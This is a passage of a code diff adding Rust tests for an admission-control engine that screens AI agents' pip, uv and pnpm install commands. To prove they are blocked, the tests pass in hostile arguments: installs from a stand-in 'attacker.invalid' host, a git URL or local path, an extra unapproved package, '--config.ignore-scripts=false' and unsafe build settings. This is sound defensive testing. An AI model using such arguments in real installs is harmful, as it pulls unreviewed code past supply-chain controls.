let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow, "{executable}"); + assert!(decision.reason_codes.is_empty(), "{executable}"); + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_DIGEST.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "pypi-reviewed-artifact-authority".to_string(), + policy_revision: "2026-09-11.2".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + + let intent = InstallIntent { + request_id: format!("req-pip-dependency-group-authority-{executable}"), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/pip_install_root_option_value_contract.rs b/crates/agent-artifact-admission/tests/pip_install_root_option_value_contract.rs new file mode 100644 index 00000000..eff978ce --- /dev/null +++ b/crates/agent-artifact-admission/tests/pip_install_root_option_value_contract.rs @@ -0,0 +1,124 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, +}; + +#[test] +fn approved_pip_install_without_root_override_remains_admissible() { + let (policy, intent) = approved_pip_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn pip_separate_target_value_is_not_misclassified_as_an_artifact() { + let (policy, mut intent) = approved_pip_install(); + intent + .argv + .extend(["--target".to_string(), "/tmp/wardnet-target".to_string()]); + + assert_target_override_is_causally_blocked(&policy, &intent); +} + +#[test] +fn pip_short_target_value_is_not_misclassified_as_an_artifact() { + let (policy, mut intent) = approved_pip_install(); + intent + .argv + .extend(["-t".to_string(), "/tmp/wardnet-target".to_string()]); + + assert_target_override_is_causally_blocked(&policy, &intent); +} + +#[test] +fn pip_target_selector_does_not_hide_a_real_unapproved_artifact_operand() { + let (policy, mut intent) = approved_pip_install(); + intent.argv.extend([ + "attacker-extra==9.9.9".to_string(), + "--target".to_string(), + "/tmp/wardnet-target".to_string(), + ]); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!( + decision.reason_codes, + vec![ + ReasonCode::AlternateInstallRoot, + ReasonCode::ArtifactNotApproved, + ], + "only the target option value is consumed; a second package operand remains an artifact-policy violation" + ); +} + +fn assert_target_override_is_causally_blocked(policy: &AdmissionPolicy, intent: &InstallIntent) { + let decision = admission_decision(policy, intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected pip target must remain fail-closed before execution" + ); + assert_eq!( + decision.reason_codes, + vec![ReasonCode::AlternateInstallRoot], + "a value consumed by --target/-t is install-root authority, not a second artifact operand" + ); +} + +fn approved_pip_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "pip-install-root-option-value".to_string(), + policy_revision: "2026-09-11.1".to_string(), + allowed_executables: vec!["pip".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-pip-install-root-option-value".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/pnpm_config_override_contract.rs b/crates/agent-artifact-admission/tests/pnpm_config_override_contract.rs new file mode 100644 index 00000000..60411e39 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pnpm_config_override_contract.rs @@ -0,0 +1,81 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn pnpm_dotted_config_cannot_inject_unreviewed_install_authority() { + for config_argument in [ + "--config.registry=https://packages.example.invalid/", + "--config.ignore-scripts=false", + "--config.modules-dir=/tmp/unreviewed-modules", + ] { + let (policy, intent) = pnpm_case(config_argument); + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{config_argument} must not inject caller-selected pnpm runtime configuration" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "{config_argument} must produce the stable alternate_trust_root reason" + ); + } +} + +fn pnpm_case(config_argument: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "@cwl/example@1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-03.2".to_string(), + allowed_executables: vec!["pnpm".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-pnpm-config-authority".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "pnpm".to_string(), + "add".to_string(), + artifact.artifact_argument.clone(), + "--ignore-scripts".to_string(), + config_argument.to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/pnpm_pnpmfile_contract.rs b/crates/agent-artifact-admission/tests/pnpm_pnpmfile_contract.rs new file mode 100644 index 00000000..cfc7c611 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pnpm_pnpmfile_contract.rs @@ -0,0 +1,92 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn pnpm_requires_pnpmfile_suppression_before_dependency_closure_can_be_considered() { + let (policy, mut intent) = approved_pnpm_case(); + + let decision = admission_decision(&policy, &intent); + assert_eq!( + decision.decision, + DecisionKind::Block, + "--ignore-scripts alone is insufficient because pnpm executes .pnpmfile hooks" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_safety_flag"), + "missing pnpmfile suppression must use the stable missing_safety_flag reason" + ); + + intent.argv.push("--ignore-pnpmfile".to_string()); + let hardened = admission_decision(&policy, &intent); + assert_eq!(hardened.decision, DecisionKind::Block); + assert!( + !hardened + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_safety_flag"), + "pnpmfile suppression must satisfy the execution-hook safety requirement" + ); + assert!( + hardened + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "the remaining block must represent resolver-selected transitive artifacts that v0.1 policy does not authorize" + ); +} + +fn approved_pnpm_case() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "@cwl/example@1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-03.3".to_string(), + allowed_executables: vec!["pnpm".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-pnpm-pnpmfile-suppression".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "pnpm".to_string(), + "add".to_string(), + artifact.artifact_argument.clone(), + "--ignore-scripts".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/pnpm_scope_escape_contract.rs b/crates/agent-artifact-admission/tests/pnpm_scope_escape_contract.rs new file mode 100644 index 00000000..a5c1424f --- /dev/null +++ b/crates/agent-artifact-admission/tests/pnpm_scope_escape_contract.rs @@ -0,0 +1,92 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn pnpm_workspace_selectors_cannot_expand_the_broker_selected_scope() { + for scope_arguments in [ + vec!["--filter=@cwl/unreviewed"], + vec!["-F=@cwl/unreviewed"], + vec!["--filter-prod=@cwl/unreviewed"], + vec!["--workspace-root"], + vec!["-w"], + vec!["--recursive"], + vec!["-r"], + vec!["--include-workspace-root"], + ] { + let (policy, intent, label) = pnpm_case(&scope_arguments); + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{label} must not widen an approved install to caller-selected workspace projects" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_install_root"), + "{label} must produce the stable alternate_install_root reason" + ); + } +} + +fn pnpm_case(scope_arguments: &[&str]) -> (AdmissionPolicy, InstallIntent, String) { + let artifact = ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "@cwl/example@1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-03.1".to_string(), + allowed_executables: vec!["pnpm".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let mut argv = vec![ + "pnpm".to_string(), + "add".to_string(), + artifact.artifact_argument.clone(), + "--ignore-scripts".to_string(), + ]; + argv.extend( + scope_arguments + .iter() + .map(|argument| (*argument).to_string()), + ); + let intent = InstallIntent { + request_id: "req-pnpm-workspace-scope".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv, + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + let label = format!("pnpm add {}", scope_arguments.join(" ")); + (policy, intent, label) +} diff --git a/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs b/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs new file mode 100644 index 00000000..28d781ce --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs @@ -0,0 +1,226 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, AdmissionServiceConfig, ApprovedArtifact, ApprovedManifest, + ArtifactCoordinate, DecisionKind, InstallIntent, InstructionSource, InstructionSourceKind, + ReasonCode, admission_decision, validate_service_config, +}; + +const MANIFEST_SHA256: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_SHA256: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const PACKAGE_NAME: &str = "example-package"; +const PACKAGE_VERSION: &str = "1.2.3"; +const REGISTRY_URL: &str = "https://pypi.org/simple"; + +#[test] +fn pypi_requirement_cannot_replace_reviewed_index_coordinate() { + for artifact_argument in [ + "example-package @ https://attacker.invalid/example.zip", + "git+https://attacker.invalid/example.git@deadbeef", + "./local-package", + ] { + let policy = approved_pypi_policy(artifact_argument); + let intent = approved_pypi_intent(artifact_argument); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "pip requirement {artifact_argument:?} must not replace the reviewed index name/version coordinate" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "coordinate/requirement disagreement must report artifact_not_approved" + ); + } +} + +#[test] +fn pypi_install_cannot_disable_reviewed_registry_index() { + let artifact_argument = format!("{PACKAGE_NAME}=={PACKAGE_VERSION}"); + + for executable in ["pip", "pip3", "uv"] { + let mut policy = approved_pypi_policy(&artifact_argument); + policy.allowed_executables = vec![executable.to_string()]; + let mut intent = approved_pypi_intent(&artifact_argument); + intent.argv = match executable { + "pip" | "pip3" => vec![ + executable.to_string(), + "install".to_string(), + artifact_argument.clone(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + "--no-index".to_string(), + ], + "uv" => vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + artifact_argument.clone(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-index".to_string(), + ], + _ => unreachable!("test executable set is closed"), + }; + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} must not disable the reviewed registry and inherit an alternate package-source authority" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "disabling the reviewed registry must be classified as alternate trust/source authority: {:?}", + decision.reason_codes + ); + } +} + +#[test] +fn pypi_install_cannot_override_reviewed_registry_or_add_artifact_source() { + let artifact_argument = format!("{PACKAGE_NAME}=={PACKAGE_VERSION}"); + let hostile_source = "https://attacker.invalid/simple"; + + for (executable, source_option) in [ + ("pip", format!("--index-url={hostile_source}")), + ("pip3", format!("--extra-index-url={hostile_source}")), + ("pip", format!("--find-links={hostile_source}")), + ("pip", format!("--index-u={hostile_source}")), + ("pip3", format!("--extra-index-u={hostile_source}")), + ("pip", format!("--find-l={hostile_source}")), + ("uv", format!("--default-index={hostile_source}")), + ("uv", format!("--index={hostile_source}")), + ("uv", format!("--index-url={hostile_source}")), + ("uv", format!("--extra-index-url={hostile_source}")), + ("uv", format!("--find-links={hostile_source}")), + ] { + let mut policy = approved_pypi_policy(&artifact_argument); + policy.allowed_executables = vec![executable.to_string()]; + let mut intent = approved_pypi_intent(&artifact_argument); + intent.argv = match executable { + "pip" | "pip3" => vec![ + executable.to_string(), + "install".to_string(), + artifact_argument.clone(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + source_option.clone(), + ], + "uv" => vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + artifact_argument.clone(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + source_option.clone(), + ], + _ => unreachable!("test executable set is closed"), + }; + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} source selector {source_option:?} must not override the reviewed registry/source authority" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "caller-selected package sources must be classified as alternate trust/source authority: {:?}", + decision.reason_codes + ); + } +} + +#[test] +fn exact_pypi_index_name_and_version_remain_allowed() { + let artifact_argument = format!("{PACKAGE_NAME}=={PACKAGE_VERSION}"); + let policy = approved_pypi_policy(&artifact_argument); + let intent = approved_pypi_intent(&artifact_argument); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn service_config_rejects_pypi_requirement_that_disagrees_with_coordinate() { + let config = AdmissionServiceConfig { + configuration_version: "1".to_string(), + bind_address: "127.0.0.1:8787".to_string(), + max_request_body_bytes: 64 * 1024, + audit_log_path: "/var/lib/wardnet/agent-artifact-admission.ndjson".to_string(), + policy: approved_pypi_policy("example-package @ https://attacker.invalid/example.zip"), + }; + + assert!( + validate_service_config(&config).is_err(), + "unsafe reviewed index coordinate must fail during configuration admission" + ); +} + +fn approved_pypi_policy(artifact_argument: &str) -> AdmissionPolicy { + AdmissionPolicy { + policy_id: "pypi-artifact-source-identity-test".to_string(), + policy_revision: "1".to_string(), + allowed_executables: vec!["pip".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_SHA256.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: "pypi".to_string(), + name: PACKAGE_NAME.to_string(), + version: PACKAGE_VERSION.to_string(), + registry_url: REGISTRY_URL.to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_SHA256.to_string(), + artifact_argument: artifact_argument.to_string(), + }], + } +} + +fn approved_pypi_intent(artifact_argument: &str) -> InstallIntent { + InstallIntent { + request_id: "req-pypi-artifact-source-identity".to_string(), + actor_id: "agent:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "pip".to_string(), + "install".to_string(), + artifact_argument.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: MANIFEST_SHA256.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: PACKAGE_NAME.to_string(), + version: PACKAGE_VERSION.to_string(), + registry_url: REGISTRY_URL.to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_SHA256.to_string(), + artifact_argument: artifact_argument.to_string(), + }], + } +} diff --git a/crates/agent-artifact-admission/tests/pypi_artifact_variant_abbreviation_contract.rs b/crates/agent-artifact-admission/tests/pypi_artifact_variant_abbreviation_contract.rs new file mode 100644 index 00000000..df282c99 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_artifact_variant_abbreviation_contract.rs @@ -0,0 +1,96 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, +}; + +const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; + +#[test] +fn accepted_pip_artifact_variant_abbreviations_cannot_inherit_artifact_approval() { + for executable in ["pip", "pip3"] { + for hostile_option in [ + "--pl=manylinux2014_x86_64", + "--python-=3.11", + "--im=cp", + "--a=cp311", + "--no-bi=:all:", + "--o=:all:", + "--prefe", + "--no-bu", + "--conf=backend-mode=unsafe", + ] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv.push(hostile_option.to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} must not let pip's accepted artifact/build selector abbreviation inherit approved artifact authority: {hostile_option}" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "artifact/build selector abbreviation must be classified as unapproved artifact authority: {hostile_option}: {:?}", + decision.reason_codes + ); + } + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_DIGEST.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "pypi-artifact-variant-abbreviation".to_string(), + policy_revision: "2026-09-12.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-pypi-artifact-variant-{executable}"), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs b/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs new file mode 100644 index 00000000..44b27878 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs @@ -0,0 +1,216 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, sha256_hex, +}; + +const DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const PACKAGE_NAME: &str = "example-package"; +const PACKAGE_VERSION: &str = "1.2.3"; + +#[test] +fn caller_selected_wheel_compatibility_tags_require_separately_approved_artifact_identity() { + for selector in [ + "--platform=manylinux_2_28_x86_64", + "--python-version=3.13", + "--implementation=cp", + "--abi=cp313", + ] { + let (policy, mut intent) = approved_pypi_install("pip"); + intent.argv.insert(2, selector.to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected PyPI compatibility selector {selector} must not inherit approval from an artifact coordinate that does not bind that selector" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "PyPI selector {selector} must stay in the artifact-identity reason domain" + ); + } +} + +#[test] +fn caller_selected_source_distribution_and_build_backend_controls_are_not_preapproved() { + for selector in [ + "--no-binary=:all:", + "--no-build-isolation", + "--config-settings=backend-mode=unsafe", + "-Cbackend-mode=unsafe", + ] { + let (policy, mut intent) = approved_pypi_install("pip"); + intent.argv.insert(2, selector.to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected PyPI build control {selector} must require separately reviewed artifact/build authority" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved") + ); + } +} + +#[test] +fn uv_pip_target_platform_and_build_backend_controls_are_not_preapproved() { + for selector in [ + "--python-platform=x86_64-unknown-linux-gnu", + "--no-binary=:all:", + "--no-build-isolation", + "--config-settings=backend-mode=unsafe", + "-Cbackend-mode=unsafe", + ] { + let (policy, mut intent) = approved_uv_pypi_install(); + intent.argv.insert(3, selector.to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "uv pip selector {selector} must not inherit approval from a PyPI artifact coordinate that does not bind target-platform or build-backend authority" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "uv pip selector {selector} must stay in the artifact-identity reason domain" + ); + } +} + +#[test] +fn uv_global_options_do_not_hide_build_backend_artifact_authority() { + let (policy, mut intent) = approved_uv_pypi_install(); + intent.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "install".to_string(), + format!("{PACKAGE_NAME}=={PACKAGE_VERSION}"), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--config-setting".to_string(), + "backend-mode=unsafe".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "a uv global option must not hide caller-selected build-backend authority: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); +} + +#[test] +fn exact_pypi_install_without_caller_selected_variant_remains_allowed() { + let (policy, intent) = approved_pypi_install("pip"); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn exact_uv_pypi_install_without_caller_selected_variant_remains_allowed() { + let (policy, intent) = approved_uv_pypi_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +fn approved_pypi_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + approved_pypi_install_with_argv(vec![ + executable.to_string(), + "install".to_string(), + format!("{PACKAGE_NAME}=={PACKAGE_VERSION}"), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ]) +} + +fn approved_uv_pypi_install() -> (AdmissionPolicy, InstallIntent) { + approved_pypi_install_with_argv(vec![ + "uv".to_string(), + 